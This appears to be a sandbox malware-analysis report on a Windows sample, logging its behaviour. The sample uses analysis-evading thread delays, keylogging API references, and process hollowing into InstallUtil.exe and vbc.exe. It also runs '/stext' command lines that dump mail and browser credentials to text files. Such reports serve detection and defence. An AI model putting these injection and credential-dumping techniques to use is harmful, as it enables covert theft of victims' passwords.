Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Thread delayed: delay time: 180000

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Window / User API: threadDelayed 399
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Window / User API: threadDelayed 9441

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe TID: 6688	Thread sleep time: -15679732462653109s >= -30000s
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe TID: 6760	Thread sleep count: 399 > 30
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe TID: 6760	Thread sleep count: 9441 > 30
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe TID: 6688	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe TID: 6708	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe TID: 3516	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe TID: 3588	Thread sleep time: -140000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe TID: 1276	Thread sleep time: -46000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe TID: 5508	Thread sleep time: -180000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_00408441 FindFirstFileW,FindNextFileW,wcslen,wcslen,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_00407E0E FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_00406EC3 FindFirstFileA,FindNextFileA,strlen,strlen,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 18_2_004161B0 memset,GetSystemInfo,

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Thread delayed: delay time: 120000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Thread delayed: delay time: 140000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Thread delayed: delay time: 180000

Source: ypBoHI5G3x.exe, 00000001.00000002.460154199.00000000060A0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: ypBoHI5G3x.exe, 00000001.00000002.460154199.00000000060A0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: ypBoHI5G3x.exe, 00000001.00000002.460154199.00000000060A0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: ypBoHI5G3x.exe, 00000001.00000002.460154199.00000000060A0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 18_2_004422C7 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

.NET source code references suspicious native API functions

Show sources

Source: 12.2.InstallUtil.exe.400000.0.unpack, Form1.cs	Reference to suspicious API methods: ('GetAsyncKeyState', 'GetAsyncKeyState@user32')
Source: 12.2.InstallUtil.exe.400000.0.unpack, RunPE.cs	Reference to suspicious API methods: ('ReadProcessMemory', 'ReadProcessMemory@kernel32'), ('WriteProcessMemory', 'WriteProcessMemory@kernel32'), ('VirtualProtectEx', 'VirtualProtectEx@kernel32'), ('VirtualAllocEx', 'VirtualAllocEx@kernel32')

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe

Memory written: C:\Users\user\AppData\Local\Temp\InstallUtil.exe base: 400000 value starts with: 4D5A

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base address: 400000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base address: 400000

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Memory written: C:\Users\user\AppData\Local\Temp\InstallUtil.exe base: 400000
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Memory written: C:\Users\user\AppData\Local\Temp\InstallUtil.exe base: 402000
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Memory written: C:\Users\user\AppData\Local\Temp\InstallUtil.exe base: 482000
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Memory written: C:\Users\user\AppData\Local\Temp\InstallUtil.exe base: 486000
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Memory written: C:\Users\user\AppData\Local\Temp\InstallUtil.exe base: A08008

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Process created: C:\Users\user\AppData\Local\Temp\InstallUtil.exe C:\Users\user\AppData\Local\Temp\InstallUtil.exe
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holdermail.txt'
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holderwb.txt'

Source: InstallUtil.exe, 0000000C.00000002.602172225.00000000015C0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: InstallUtil.exe, 0000000C.00000002.602172225.00000000015C0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: InstallUtil.exe, 0000000C.00000002.602172225.00000000015C0000.00000002.00000001.sdmp	Binary or memory string: &Program Manager
Source: InstallUtil.exe, 0000000C.00000002.602172225.00000000015C0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Queries volume information: C:\Users\user\Desktop\ypBoHI5G3x.exe VolumeInformation
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\InstallUtil.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation
